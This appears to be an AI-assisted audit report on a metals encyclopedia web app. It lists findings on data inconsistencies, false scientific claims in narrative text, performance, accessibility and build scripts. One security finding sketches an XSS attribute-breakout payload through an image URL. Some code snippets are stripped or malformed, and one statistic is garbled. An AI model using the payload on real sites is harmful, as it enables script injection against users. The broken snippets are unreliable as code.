WHAT For elements the cited Tier-1 source (PubChem) itself marks as having no meaningful natural abundance, this dataset encodes that fact two different ways within the very same row: `universeAbundancePercent: null` but `crustAbundancePercent: 0` / `oceanAbundancePercent: 0`. This pattern is identical across 26 elements: Technetium, Promethium, Neptunium, Plutonium, Americium, Curium, Berkelium, Californium, Einsteinium, Fermium, Mendelevium, Nobelium, Lawrencium, Rutherfordium, Dubnium, Seaborgium, Bohrium, Hassium, Meitnerium, Darmstadtium, Roentgenium, Copernicium, Nihonium, Flerovium, Moscovium, Livermorium. It is verifiably wrong relative to the repo's own cached source: PubChem's PUG-View record for Technetium (already fetched into this repo) lists BOTH 'Estimated Crustal Abundance' and 'Estimated Oceanic Abundance' as the literal string 'Not Applicable' — not a measured zero — yet metals-raw.json encodes that as `0`. The app then renders these two facts inconsistently on the same element page: `src/lib/format.js` `formatAbundance()` returns 'Unavailable' for null but '0%' for 0, so a user sees 'Universe abund.: Unavailable' next to 'Crust abund.: 0%' for the identical underlying situation.

EVIDENCE `src/data/metals-raw.json` lines 775-777 (Technetium): `"universeAbundancePercent": null, / "crustAbundancePercent": 0, / "oceanAbundancePercent": 0,`. Cited source, reference-db/assembly/elements/technetium.json lines 615-639 ('Estimated Crustal Abundance' -> 'Not Applicable', 'Estimated Oceanic Abundance' -> 'Not Applicable'); same 'Not Applicable'/'Not Applicable' pair confirmed in reference-db/assembly/elements/promethium.json lines 523-547. `formatAbundance` in `src/lib/format.js`: `if (!hasValue(value)) return "Unavailable"; if (value === 0) return "0%";`.

FIX Pick one sentinel for 'not a naturally-occurring/measurable quantity' and apply it to all three abundance fields uniformly — null (matching `universeAbundancePercent` and PubChem's own 'Not Applicable') is the more defensible choice, reserving 0 for a genuine measured-effectively-zero result. Re-derive `crustAbundancePercent`/`oceanAbundancePercent` for the 26 affected elements from `metals-raw.json`.

MEDIUM

14. Bohr-model shell counts are physically wrong for every element from Z=19 up, and contradict the electronConfiguration shown in the same entry

src/main.js:182

CONFIRMED

Frontend logic correctness & bugs (src/main.js, src/lib/{format,compare,filter,images}.js)

OPUS 4.8

WHAT `shellCounts(z)` fills shells sequentially to the $2n^2$ maxima `[2,8,18,32,32,18,8]`. This only matches real electron shells up to argon ($Z=18$). From potassium ($Z=19$) on, it is wrong because it never models the 4s-before-3d (Bohr–Bury 2,8,8,18,18 rule) ordering. The result feeds both the animated electron rings (atomShells, `main.js`:194-205 → rendered 975-987) and the caption 'BOHR MODEL · SHELLS ...' (`main.js`:1061). It directly contradicts the accurate `electronConfiguration` string rendered in the same data sheet (`main.js`:885), so a user toggling the Atomic hero sees two conflicting numbers on one screen.

EVIDENCE Computed against known shell structures: potassium $Z=19$ code=`[2,8,9]` vs real `[2,8,8,1]` (econf '[Ar]4s1'); iron $Z=26$ code=`[2,8,16]` vs real `[2,8,14,2]` (econf '[Ar]4s2 3d6'); gold $Z=79$ code=`[2,8,18,32,19]` (5 rings) vs real `[2,8,18,32,18,1]` (6 rings, econf '[Xe]6s1 4f14 5d10'); uranium $Z=92$ code=`[2,8,18,32,32]` vs real `[2,8,18,32,21,9,2]`. Correct only for $Z \leq 18$ and coincidental cases (Cu, Zn). Affects the bulk of the 98-element set (all transition/lanthanide/actinide elements).

FIX Derive shell occupancies from the already-stored `electronConfiguration` (expand the noble-gas core + subshells and bucket electrons by principal quantum number n), or hard-code the standard per-element shell list, instead of a naive $2n^2$ sequential fill. Then both the ring visualization and the caption match the element's real configuration.

MEDIUM

15. Manganese 'uses' misidentifies manganese(II) oxide as a powerful oxidising agent

scripts/narratives.mjs:409

CONFIRMED

Narrative factuality & hallucination (scripts/narratives.mjs prose)

OPUS 4.8

WHAT The reagent role described belongs to permanganate (Mn +7), not manganese(II) oxide (Mn +2), which is not an oxidiser at all.

EVIDENCE Repo (`manganese.uses`): "Manganese(II) oxide is a powerful oxidising agent and is used in quantitative analysis." MnO is manganese in its lowest common +2 state and cannot act as a powerful oxidiser. The manganese oxidiser used in quantitative analysis (permanganometric titration) is potassium permanganate, KMnO4 (Mn +7). Verbatim from the RSC manganese page.

FIX Attribute the 'powerful oxidising agent / quantitative analysis' role to potassium permanganate (KMnO4), not manganese(II) oxide.

MEDIUM

16. Lithium overview claims Chile is the top producer; Australia has led since ~2017

scripts/narratives.mjs:4

CONFIRMED

Narrative factuality & hallucination (scripts/narratives.mjs prose)

OPUS 4.8

WHAT Outdated leading-producer claim in the present tense for the encyclopedia's first element.

EVIDENCE Repo (`lithium.overview`): "Most lithium is currently produced in Chile, from brines..." As of 2023 (USGS): Australia is the world's largest lithium producer (~86,000 t contained, ~48% of global mine output, from hard-rock spodumene); Chile is second (~44,000 t, ~24%, from brine). Verbatim from the RSC lithium page. (The element's own USGS-derived `production/commodityNotes` fields are current; only the RSC overview is stale.)

FIX Update to reflect Australia as the leading producer (spodumene) with Chile second (brine).

MEDIUM

17. Flerovium overview and production give an impossible synthesis route ('formed in nuclear reactors')

scripts/narratives.mjs:2704

CONFIRMED

Narrative factuality & hallucination (scripts/narratives.mjs prose)

OPUS 4.8

WHAT A superheavy element that cannot be reached by reactor neutron capture is said to form in nuclear reactors. Both the overview and production fields carry the claim.

EVIDENCE Repo (`flerovium.overview` and `.production`, lines 2704-2705): "Flerovium can be formed in nuclear reactors." Flerovium ($Z=114$) cannot be produced by neutron capture in a reactor — the neutron-capture path to superheavies is severed around fermium ($Z=100$) by spontaneous fission (the 'fermium gap'). Flerovium is made by heavy-ion fusion of plutonium-244 with calcium-48 in an accelerator (JINR Dubna, 1998-2004). By contrast, sibling entries in the same file correctly cite accelerator fusion (e.g. livermorium line 2716: 'bombarding curium atoms with calcium'), and nihonium/moscovium honestly say 'Unknown.' Verbatim from the RSC flerovium page.

FIX Replace with the correct route (Pu-244 + Ca-48 heavy-ion fusion) or use 'Unknown' as done for nihonium/moscovium.

VERIFIER NOTE Minor nuance only: the erroneous sentence is not a pipeline-invented hallucination but copied verbatim from RSC's own periodic-table page (which contains the same boilerplate error for flerovium), and the same RSC page also mentions the Ca-48/Pu-244 accelerator fusion route that `narratives.mjs` failed to carry over instead of the wrong "nuclear reactors" line. Otherwise the finding's description, evidence, and recommendation are accurate as stated.

MEDIUM 18. Promethium overview places the promethium-emitting star in the wrong galaxy

scripts/narratives.mjs:1359 CONFIRMED Narrative factuality & hallucination (scripts/narratives.mjs prose) OPUS 4.8

WHAT Conflates the constellation Andromeda (a Milky Way sight-line) with the Andromeda Galaxy (M31, ~2.5 million light-years away). Detecting a trace, short-lived element in an external galaxy's stellar spectrum would be implausible.

EVIDENCE Repo (promethium.overview and .production): "It has been found that a star in the Andromeda galaxy is manufacturing promethium, but it is not known how." The detection was in HR 465 (HD 9996), a chemically peculiar A-type star in the constellation Andromeda, within our own Milky Way. Verbatim from the RSC promethium page. The adjacent claim ('longest-lived isotope half-life of only 18 years' $\approx$ Pm-145's 17.7 yr) is correct.

FIX Change 'Andromeda galaxy' to 'the constellation Andromeda' (the Milky Way star HR 465).

MEDIUM 19. 'confirmed' narrativeConfidence label does not imply fact-checking; several 'confirmed' entries carry false claims

scripts/narratives.mjs:1928 CONFIRMED Narrative factuality & hallucination (scripts/narratives.mjs prose) OPUS 4.8

WHAT The narrativeConfidence honesty gap flagged in the charter: 'confirmed' marks source provenance, not per-claim verification, so demonstrably false statements ship under a 'confirmed' badge.

EVIDENCE Gold (line 1928), aluminum (line 170), manganese, and lithium narratives are each labeled "narrativeConfidence": "confirmed", yet each contains a false or grossly outdated statement (Findings 1-4). 'Confirmed' here reflects multi-source provenance (RSC tier-2 + USGS tier-1 + PubChem) while the RSC-derived overview/uses prose was copied verbatim, errors included — i.e. the label overstates the epistemic status of the flagship-element facts a reader is most likely to trust.

FIX Either redefine the label's meaning in docs (provenance, not verification), or gate 'confirmed' on actual review of the RSC-derived overview/uses text — the USGS production data is reliable, but the RSC appearance/abundance prose is not uniformly so.

MEDIUM 20. Selecting any element re-renders the whole shell and rebuilds the entire 98-card sidebar list via innerHTML, not just the change

D:\Cursor\projects\Randoms\metals-encyclopedia\src\main.js:851 CONFIRMED Performance & bundle SONNET 5

WHAT Clicking any metal card (`bindMetalCards`, `main.js:818-826`) sets `state.selectedKey` and calls `renderBrowse()`. `renderBrowse()` reassigns `app.innerHTML` in full (`main.js:704`, replacing `breadcrumbs/toolbar/view-tabs`) and then `content.innerHTML = renderEncyclopedia(filtered)` (`main.js:779`). Inside `renderEncyclopedia`, `const list = metalCardsHtml(filtered);` (`main.js:851`) rebuilds the ENTIRE sidebar card list from scratch — including a fresh `<img>` per card — and that string is spliced back into the same innerHTML write, even though the only actual change from a card click is which button gets `aria-current="true"` plus the detail-pane content. All page listeners (`nav`, `search`, `sort`, every card) are then rebound from scratch via `bindEncyclopedia/bindSeriesPicker/bindMetalCards`.

EVIDENCE Measured by reproducing `metalCardsHtml()`'s exact template in Node against the real `metals.js/sample-images.json` data: output for all 98 cards is 27,203 bytes (avg 278 bytes/card, 98 fresh `<img>` elements). This whole block is one of two full-shell rebuilds (`main.js:704 app.innerHTML`, `main.js:779 content.innerHTML`) triggered by a single click, purely to move which card is 'current' and swap the detail content.

FIX On card selection, update only the previously-selected and newly-selected card nodes' `aria-current` attribute in place, and only re-render the `#entry detail region`, instead of reassigning `app.innerHTML/content.innerHTML` and rebuilding all 98 sidebar cards on every click.

MEDIUM 21. Full-resolution, un-resized sample images (up to 1.3MB) are eagerly bulk-preloaded for thumbnails, bypassing the loading="lazy" set on the same images

D:\Cursor\projects\Randoms\metals-encyclopedia\src\lib\images.js:25 CONFIRMED Performance & bundle SONNET 5

WHAT `scripts/fetch-sample-images.mjs` downloads Commons images and writes the response bytes to `public/samples/` verbatim — no `resize/compress` step anywhere in that script. Measured: `public/samples/actinium.png` is 960×1200px / 1,367,670 bytes; `curium.png` is 960×720px / 774,175 bytes; the 98-file corpus totals 11,610,945 bytes (avg 118,479 bytes/file). These render into `.metal-card` thumbnails with `min-height: 102px` (`style.css:899`) inside a sidebar column sized `minmax(200px, 250px)` (`style.css:783`, desktop) or a 3-column mobile grid (`style.mobile-browse.css:249`) — i.e. ~100-250px-wide slots for megapixel sources, with no `srcset/sizes` anywhere in `main.js` (grep confirms zero occurrences). On top of that, `warmMetalImages(filtered, { limit: 48 })` is called on every `renderBrowse()` (`main.js:790`) and constructs bare `new Image()` objects and sets `.src` directly (`images.js:16-21`) — a fetch that is NOT subject to the `loading="lazy"` attribute (that attribute only defers `<img>` elements actually in the DOM), so up to 48 full-resolution images are eagerly fetched on every `browse/filter` action regardless of scroll position, even though the visible card list is height-constrained and scrollable (`.metal-cards-scroll { overflow: auto }`, `style.css:821-825`) so most of the 48 are off-screen. Worst case (48 largest files) totals 9,195,262 bytes; a representative case is ~6.4MB per single filter/browse action.

EVIDENCE `images.js:16-21 warmImage()` does `const img = new Image(); img.decoding = "async"; img.src = url;` with no visibility/viewport check; `images.js:25-31 warmMetalImages()` takes `list.slice(0, limit)` unconditionally. `main.js:170-171` sets `loading="lazy"` on the actual rendered `<img>` for non-eager cards, but that benefit only applies to cards beyond position 48 of any given filtered view.

FIX Generate resized thumbnail variants (e.g. ~300px) at fetch/build time for card use, reserve full-res only for the hero detail view, add width/height or aspect-ratio to avoid layout shift, and replace `warmMetalImages'` blind `slice(0,48)` eager-prefetch with an `IntersectionObserver`-driven `warm` so only images near the viewport are fetched.

VERIFIER NOTE Real as described, with one scoping correction: the eager prefetch is not re-issued on 'every' `browse/filter` action — `images.js`'s module-level `warmed` Set caches URLs for the session, so total transfer is bounded by the ~11.6MB / 98-file corpus plus browser cache. The precise impact is that each fresh (not-yet-warmed) filtered view eagerly fetches up to 48 full-resolution images (representative several MB, worst case 9.2MB), most off-screen, defeating the `loading="lazy"` on the rendered `<img>` tags.

MEDIUM 22. Germanium brinellHardness is a physically impossible fabricated value (7273.40 MPa)

src/data/metals-raw.json:558 NEEDS NUANCE Scientific numeric accuracy (physical & chemical properties, all 98 elements) OPUS 4.8

WHAT The germanium record lists brinellHardness = 7273.402498871 MPa. That is harder than tungsten (2570 MPa in this same dataset) and nearly as hard as osmium (3920 MPa), which is impossible for germanium: it is a brittle semiconductor that fractures rather than plastically deforming, so Brinell hardness is not a defined/measurable property for it. The 13-significant-figure value is a computational artifact, not a measurement. It is user-facing: main.js line 896 renders it on the detail sheet as "Brinell 7,273.40 MPa".

EVIDENCE Repo: "brinellHardness": 7273.402498871 (metals-raw.json:558). Reference: Wikipedia's germanium infobox lists NO Brinell hardness (only Mohs 6.0) and describes germanium as "a brittle, silvery-white semiconductor"; no authoritative source (CRC/PubChem/Wikipedia) reports a Brinell value for germanium. The 12-decimal precision alone marks it as a generated artifact.

FIX Set germanium brinellHardness to null (matching the null already used for the brittle/undefined cases boron, silicon, tellurium), or remove the fabricated value.

VERIFIER NOTE Germanium's brinellHardness (7273.40 MPa) is implausible for the Brinell field: it exceeds tungsten (2570) in the same dataset and germanium is a brittle semiconductor for which Brinell indentation is not a standard measurement. However, the value most likely corresponds to germanium's actual Vickers/Knoop hardness (~7.3 GPa) mislabeled as Brinell, rather than a pure computational fabrication. Fix by setting brinellHardness to null (as done for boron and silicon — note tellurium/antimony/arsenic are NOT null, contrary to the finding). Rendered user-facing at main.js:896 as "Brinell 7,273.40 MPa".

MEDIUM 23. Series-hub interpolated without escaping (sibling img sinks escape)

src/main.js:649 CONFIRMED Security — injection & unsafe rendering (XSS) OPUS 4.8

WHAT renderSeriesHub builds the family tile image with a raw interpolation of the resolved image URL into src, unescaped. The value comes from familyImage(family) → displayImageUrl(metal) → metal.imageUrl (a Wikimedia Commons URL) when no local sample exists. This is inconsistent with the two other image sinks that DO escape: metalCardMedia (line 171, with an onerror handler). I confirmed all 98 elements currently resolve to a local '/samples/*.jpg' path (sample-images.json covers every key), so the metal.imageUrl fallback never fires in the present build and this is latent — but the sink itself is unsafe and asymmetric with its siblings.

EVIDENCE Line 649: { : ""} — img is raw. Contrast line 171: . Exploit if a family's first metal had imageUrl = x"> → breakout + onerror XSS on the Series hub.

FIX Change line 649 to to match metalCardMedia and the hero.

MEDIUM 24. Promethium labeled "Confirmed" with tier-1 USGS commodity citation and inapplicable rare-earth commodity notes

scripts/narratives.mjs:1370 CONFIRMED Sourcing & citation integrity OPUS 4.8

WHAT Promethium is a synthetic, radioactive element with no natural occurrence and no USGS commodity existence, yet its entry is narrativeConfidence "confirmed" and carries a Tier-1 source {"title": "USGS Mineral Commodity Summaries 2025 (rare-earths)", "tier": 1} plus commodityNotes copied verbatim from the rare-earths GROUP chapter (Import Sources: China 70%; "recovered from batteries, permanent magnets, and fluorescent lamps"; world resources). None of that describes promethium. The entry's own production text (narratives.mjs) reads "it is not found naturally on Earth" and "Promethium can be produced by irradiating neodymium and praseodymium," directly contradicting the mined-commodity provenance the citation implies. Mapped in scripts/usgs-map.mjs:71 (promethium: "mcs2025-rare-earths.txt"). This is rendered to users as a Tier-1 USGS-corroborated "Confirmed" entry with China-import statistics.

EVIDENCE narratives.mjs promethium: narrativeConfidence "confirmed"; narrativeSources includes USGS (rare-earths) tier 1; commodityNotes.recycling begins "Limited quantities of rare earths were recovered from batteries, permanent magnets, and fluorescent lamps. Import Sources (2020–23): ... China, 970%". Repo evidence: grep -io promethium src/data/usgs/text/mcs2025-rare-earths.txt = 0 matches. Correct reference: USGS MCS 2025 contains no promethium production/trade data (promethium has no stable isotopes, longest-lived ~17.7 yr, produced only in reactors); per the repo's own rule (SOURCES.md:72 "don't fake USGS") it should be single-source (RSC only).

FIX Demote promethium to "single-source", drop the USGS (rare-earths) narrativeSource, and remove the rare-earth group commodityNotes from its entry. Add promethium to an exclusion set so the rare-earths chapter is never treated as covering it.

VERIFIER NOTE Accurate scoping: promethium is chemically one of the 17 rare-earth elements, so mapping it to the rare-earths chapter is not a taxonomic error; the defect is narrower — because promethium has no commercial production and is excluded from all USGS rare-earth trade/production statistics, the inherited group commodityNotes (China 70% imports, recycling, world resources) and the resulting "confirmed"/Tier-1 USGS label do not apply to it and contradict the entry's own "not found naturally on Earth" prose. Fix: demote to "single-source" (RSC/PubChem only), drop the USGS rare-earths narrativeSource, remove the inherited group commodityNotes, and add promethium (alongside Tc, Po, Fr, Ra, Ac, Pa per SOURCES.md) to an exclusion set so the rare-earths chapter is not treated as covering it.

MEDIUM 25. Scandium cites the USGS rare-earths chapter that explicitly excludes scandium (a dedicated Scandium chapter exists)

scripts/narratives.mjs:294 CONFIRMED Sourcing & citation integrity OPUS 4.8

WHAT Scandium is mapped to mcs2025-rare-earths.txt (usgs-map.mjs:70) and labeled "confirmed" with a Tier-1 "USGS Mineral Commodity Summaries 2025 (rare-earths)" source and rare-earth GROUP commodityNotes (Import Sources: China 70%, etc.). The in-repo chapter text disclaims exactly this: it states the data exclude scandium and directs readers to a separate chapter. USGS MCS 2025 publishes Scandium as its own commodity chapter; the repo has no mcs2025-scandium.txt, so scandium's commodity provenance is sourced from a chapter that says it does not cover scandium.

EVIDENCE src/data/usgs/text/mcs2025-rare-earths.txt:131 — "Data include lanthanides and yttrium but exclude most scandium. See also the Scandium and Yttrium chapters." Repo value: scandium narrativeConfidence "confirmed", USGS source = rare-earths, commodityNotes = rare-earth group figures. Correct reference: scandium's authoritative USGS source is the MCS 2025 Scandium chapter (pubs.usgs.gov/periodicals/mcs2025/mcs2025-scandium.pdf), and the rare-earths salient-statistics data explicitly exclude scandium.

FIX Either add and map mcs2025-scandium.txt as scandium's chapter, or demote scandium to "single-source" and remove the rare-earth group commodityNotes/USGS source. Do not cite a chapter whose own text excludes the element.



MEDIUM

26. "Confirmed" is assigned on excerpt-extractability, not element coverage — contradicting the code's own comment and inflating the displayed count

scripts/upgrade-narratives.mjs:209

CONFIRMED

Sourcing & citation integrity

Opus 4.8

WHAT The confidence engine sets `narrativeConfidence="confirmed"` whenever a production excerpt can be sliced out of the MAPPED chapter (if `(usgsExcerpt) {...confirmed}`), with no check that the chapter actually documents the element. The same function's comment (lines 199-201) admits "Group/alias chapters (rare earths, PGMs, Zr–Hf, salt/potash/lime/barite) are not about this metal," yet those elements are still stamped Confirmed. The public definition in `src/data/sources.js:97` only requires that a chapter be "mapped," so coverage is never validated. Of the 17 elements mapped to rare-earths, Pm and Sc have no genuine coverage (findings 1-2); this also inflates the Sources-page "Confirmed" tally shown to users (68, would be 66 without Pm/Sc).

EVIDENCE `upgrade-narratives.mjs:209-212` `if (usgsExcerpt) { narrativeSources.push(usgsSource); narrativeConfidence = "confirmed"; stats.confirmed += 1; };` comment 199-201 "...are not about this metal". `sources.js:97` meaning: "RSC narrative fields present and a USGS commodity chapter is mapped." `main.js:599-608` renders the count. Correct behavior: "confirmed" should require the mapped chapter to actually cover the element (name/commodity present), matching the charter's dual-source intent.

FIX Gate the "confirmed" upgrade on the mapped chapter actually covering the element (e.g., element/commodity name present in the chapter, or a curated per-element coverage flag). Minimally, exclude promethium and scandium from rare-earths confirmation.

Low-severity findings

Minor data nits, defensive-code hygiene, and micro-copy.

LOW

1. Mobile Data Table header uses role="row" with no surrounding table/grid structure

src/main.js:1930

UNVERIFIED (LOW)

Accessibility (a11y)

SONNET 5

WHAT The mobile Data Table's sortable header strip is marked role="row" but has no ancestor with role="table"/"grid"/"rowgroup", and its four children are plain <button> elements with no role="columnheader". An ARIA row exposed outside a valid table/grid/treegrid context is undefined behavior for assistive technology — some screen readers may announce 'row' out of context or ignore it inconsistently, rather than the intended column-header semantics.

EVIDENCE <div class="table-mobile-head" role="row"> wrapping <button type="button" class="table-mobile-cell table-mobile-cell--id..." data-table-sort="name" aria-pressed="...">Element</button> and three sibling sort buttons (src/main.js:1930-1935), with no role="table"/"grid" ancestor anywhere in renderTableMobile() (src/main.js:1896-1941).

FIX Either drop role="row" (the buttons already work fine as a plain toolbar/group) or complete the pattern with role="table"/"rowgroup" on the ancestors and role="columnheader" with aria-sort on each button.

LOW

2. upgrade-narratives.mjs passes RSC's literal "Unknown" placeholder through as real narrative content

scripts/upgrade-narratives.mjs:196

CONFIRMED

Build & data-pipeline scripts (scripts/build-metals.mjs, upgrade-narratives.mjs, import-vault-numeric.mjs, fetch-sample-images.mjs, fetch-reference-db.mjs, usgs-map.mjs, scrape-rsc.mjs, scrape-property-gaps.mjs, audit-all-data.mjs, audit-production.mjs)

SONNET 5

WHAT RSC's own site shows the literal word "Unknown" for natural abundance on some synthetic-element pages, and scrape-rsc.mjs stores that string verbatim. upgrade-narratives.mjs only checks truthiness before splicing rsc.naturalAbundance into overview (lines 196-198) and before falling back to it for production (line 205) — a non-empty sentinel string like "Unknown" passes both checks as if it were real prose.

EVIDENCE src/data/rsc/nihonium.json: "naturalAbundance": "Unknown" (same for moscovium). scripts/upgrade-narratives.mjs:196-198: overview = [rsc.appearance, rsc.naturalAbundance ? clip(rsc.naturalAbundance, 320) : ""] .filter(Boolean).join(" "); :205: production = usgsExcerpt || rsc.naturalAbundance || " ". Result, shipped verbatim in scripts/narratives.mjs:2681-2683: "nihonium": { "overview": "A highly radioactive metal, of which only a few atoms have ever been made. Unknown", "production": "Unknown", ... } and identically for moscovium at :2725-2727. This is precisely the pair audit-all-data.mjs's narrativeUnknown check flags as a symptom ({key: 'nihonium', field: 'production', value: 'Unknown'}) without the generator ever guarding against it. Confirmed scope: exactly 2/98 catalog elements today (nihonium, moscovium) via a scan of all src/data/rsc/*.json for sentinel-only appearance/uses/naturalAbundance/biologicalRole values.

FIX Add a sentinel filter (e.g. /^(unknown|not known|no data|n/a)\.?\$\i) applied to rsc.appearance/uses/naturalAbundance/biologicalRole before use anywhere in upgrade-narratives.mjs, treating a match the same as an empty/missing field.

LOW

3. scrape-property-gaps.mjs has no error handling, no retry, no incremental save, and writes directly to the source-of-truth file

scripts/scrape-property-gaps.mjs:69

NEEDS NUANCE

Build & data-pipeline scripts (scripts/build-metals.mjs, upgrade-narratives.mjs, import-vault-numeric.mjs, fetch-sample-images.mjs, fetch-reference-db.mjs, usgs-map.mjs, scrape-rsc.mjs, scrape-property-gaps.mjs, audit-all-data.mjs, audit-production.mjs)

SONNET 5

WHAT The whole file (93 lines) has zero try/catch blocks and never checks res.ok . It loops sequentially over every Z≤92 element that's still missing a hardness/conductivity/density field, doing a bare fetch per element with no delay, and only writes property-overrides.json / metals-raw.json once, after every iteration has completed.

EVIDENCE Line 69: const html = await (await fetch(url)).text(); — no surrounding try/catch anywhere in the file, no HTTP-status check, no inter-request sleep. Writes happen only at lines 91-92 (fs.writeFileSync(...property-overrides.json...), fs.writeFileSync(rawPath, JSON.stringify(raw, null, 2))) , after the for-loop (lines 62-89) fully finishes — a single network failure on any one request throws an unhandled rejection that aborts the process and discards every already-scraped value for that run, and unlike import-vault-numeric.mjs there is no --apply/dry-run gate: every invocation patches metals-raw.json unconditionally. Currently exposed on 18 sequential unthrottled requests to periodictable.com (computed from metals-raw.json: lithium, boron, silicon, scandium, strontium, yttrium, technetium, barium, promethium, europium, gadolinium, ytterbium, mercury, polonium, francium, radium, actinium, protactinium). Contrast fetch-sample-images.mjs (4 attempts with exponential backoff + 120ms inter-item sleep, lines 62-87) and fetch-reference-db.mjs (5 retries with backoff and explicit HTTP-429 handling, lines 74-94), both in the same repo.

FIX Wrap each fetch in try/catch with retry/backoff matching the other two fetchers; write metals-raw.json/property-overrides.json incrementally or in a finally block; add a --dry-run flag before any direct write to the tracked source-of-truth file.

VERIFIER NOTE Accurate version: scrape-property-gaps.mjs lacks the error handling, retry/backoff, throttling, and dry-run gate that its sibling fetchers (fetch-sample-images.mjs, fetch-reference-db.mjs) and the analogous writer (import-vault-numeric.mjs --apply) all have. This is a real consistency/robustness gap. Impact is low, not high, because: the script is manually invoked only (not in package.json or any CI/build automation); metals-raw.json writes are additive-only to Z≤92 null fields and never overwrite curated values; the file is git-tracked and thus recoverable; and the batch-write-at-end design is actually safe-fail — a network error aborts before any write, leaving the source-of-truth untouched (the only loss is re-doing the scrape, not corruption). Worth fixing for hygiene/parity with siblings, but not a high-severity risk.

LOW

4. audit-production.mjs's hand-duplicated USGS_MAP is stale — missing "uranium", silently undercounting its own report

scripts/audit-production.mjs:14

NEEDS NUANCE

Build & data-pipeline scripts (scripts/build-metals.mjs, upgrade-narratives.mjs, import-vault-numeric.mjs, fetch-sample-images.mjs, fetch-reference-db.mjs, usgs-map.mjs, scrape-rsc.mjs, scrape-property-gaps.mjs, audit-all-data.mjs, audit-production.mjs)

SONNET 5

WHAT audit-production.mjs re-declares its own copy of USGS_MAP (lines 14-82) instead of importing the canonical one from usgs-map.mjs, despite a comment admitting the duplication is fragile. The copy has drifted: it is missing the `uranium` entry that exists in the real, shared module.

EVIDENCE scripts/audit-production.mjs:13 `// Keep in sync with upgrade-narratives.mjs`, but the literal object at lines 14-82 has no `uranium` key anywhere (grep for "uranium" in the file returns zero matches). The canonical scripts/usgs-map.mjs:39 has `uranium: "fs20253057-uranium.txt"`, (imported correctly by scripts/upgrade-narratives.mjs:16). Empirically verified: running `node scripts/audit-production.mjs` prints `"withUsgsMap": 67`; computing the same count against the real usgs-map.mjs module against all 98 catalog keys gives 68/98. Uranium's row is written into src/data/production-audit-report.json with `usgs: null`, even though uranium's shipped production text is genuinely sourced from a mapped USGS Fact Sheet (scripts/narratives.mjs cites "USGS Fact Sheet 2025–3057" for uranium, confirmed via the narrativeSources array).

FIX Delete the hand-copied USGS_MAP/SHARED/PREFER_RSC literals in audit-production.mjs and `import { USGS_MAP } from "../usgs-map.mjs"` instead, the same way upgrade-narratives.mjs already does, so the two can't drift again.

VERIFIER NOTE All factual claims in the finding are verified accurate: audit-production.mjs:14-82 hand-duplicates USGS_MAP instead of importing from usgs-map.mjs (which upgrade-narratives.mjs already does correctly at line 16); the duplicated map is missing the "uranium" key that exists in the canonical scripts/usgs-map.mjs; running `node scripts/audit-production.mjs` produces `"withUsgsMap": 67` in src/data/production-audit-report.json, one less than the canonical map's 68 keys; and narratives.mjs's uranium entry does cite a tier-1 "USGS Fact Sheet 2025–3057" source. However, severity should be lowered from medium to low: this is a dev-only audit/reporting script, not shipped to the built site or consumed by main.js/build-metals.mjs — it only affects the accuracy of an internal JSON audit report used for data-quality review. The blast radius is a single miscounted summary field and one row's `usgs` value being null instead of the correct filename; uranium's `narrativeConfidence` is unaffected (it is "confirmed", not degraded to "single-source"), so no user-facing narrative quality or confidence labeling is impacted. The recommended fix (import USGS_MAP from usgs-map.mjs, mirroring upgrade-narratives.mjs) is correct and cheap.

LOW

5. audit-all-data.mjs's boiling≤melting sanity check false-positives on arsenic's scientifically correct sublimation data

scripts/audit-all-data.mjs:102

CONFIRMED

Build & data-pipeline scripts (scripts/build-metals.mjs, upgrade-narratives.mjs, import-vault-numeric.mjs, fetch-sample-images.mjs, fetch-reference-db.mjs, usgs-map.mjs, scrape-rsc.mjs, scrape-property-gaps.mjs, audit-all-data.mjs, audit-production.mjs)

SONNET 5

WHAT The thermoOrder check assumes boiling point must always exceed melting point and has no exception for elements that sublime at 1 atm rather than boiling a liquid. Arsenic is exactly this case, and its correct, reference-matching data trips the check.

EVIDENCE scripts/audit-all-data.mjs:102-104: `if (!isNullish(m.meltingPoint) && !isNullish(m.boilingPoint) && m.boilingPoint <= m.meltingPoint) { findings.thermoOrder.push({key:m.key, mp:m.meltingPoint, bp:m.boilingPoint}); }`. Repo value: src/data/metals-raw.json:580-581, `"meltingPoint": 816.85, "boilingPoint": 613.85` for arsenic. Reference value (Wikipedia "Arsenic" physical-properties infobox, cross-checked via web search): melting point 1090 K / 816.85°C occurs only at 2.84 MPa (~28 atm); at ordinary 1 atm arsenic sublimates directly at 887 K / 613.85°C. Both repo numbers match the reference Kelvin values exactly once converted (1090-273.15=816.85; 887-273.15=613.85) — the data is correct, not an error, but the check has no annotation/allowlist to distinguish a real data error from this well-known physical exception, so it flags correct data as `thermoOrderBad`, which could mislead a future contributor into 'fixing' (i.e. corrupting) it.

FIX Add a documented allowlist entry (e.g. arsenic) with a comment on the sublimation/pressure caveat, or add a `sublimesAtSTP`/pressure-context field to metals-raw.json so both the audit and the UI can represent this correctly instead of looking like a data bug.

LOW

6. import-vault-numeric.mjs's atomic-mass auto-patch has no outlier/sanity bound before writing to metals-raw.json

scripts/import-vault-numeric.mjs:114

UNVERIFIED (LOW)

Build & data-pipeline scripts (scripts/build-metals.mjs, upgrade-narratives.mjs, import-vault-numeric.mjs, fetch-sample-images.mjs, fetch-reference-db.mjs, usgs-map.mjs, scrape-rsc.mjs, scrape-property-gaps.mjs, audit-all-data.mjs, audit-production.mjs)

SONNET 5

WHAT The rule for accepting a PubChem CSV atomic mass over the app's integer value only requires the two to differ by at least 0.001 — there is no upper bound rejecting an implausibly large discrepancy, so a corrupted or misaligned CSV row would be accepted and written straight into the tracked source-of-truth file under --apply.

EVIDENCE Line 114: `const csvMorePrecise = !Number.isInteger(csvMass) && Math.abs(csvMass - metal.atomicMass) >= 0.001;` (used at line 115: `if (appInt && csvMorePrecise) { ... if (apply) metal.atomicMass = csvMass; }`). Currently dormant/no live misfire: a dry run against the checked-in reference-db/raw/pubchem/periodictable.csv produces 0 patches (`node scripts/import-vault-numeric.mjs` → "Dry-run: 0 patches"), because the only two elements with non-integer app masses (lithium 6.94, lead 207.2) are already pinned via src/data/property-overrides.json's atomicMassOverrides, which takes precedence over this branch.

FIX Add a plausibility bound, e.g. skip (and log to `skipped`) any CSV atomic mass differing from the app's value by more than ~1-2 amu, since a legitimate IUPAC-rounding correction is always small.

LOW 7. fetch-reference-db.mjs's CSV row lookup has a no-op self-fallback (r.AtomicNumber || r.AtomicNumber)

scripts/fetch-reference-db.mjs:331 UNVERIFIED (LOW)

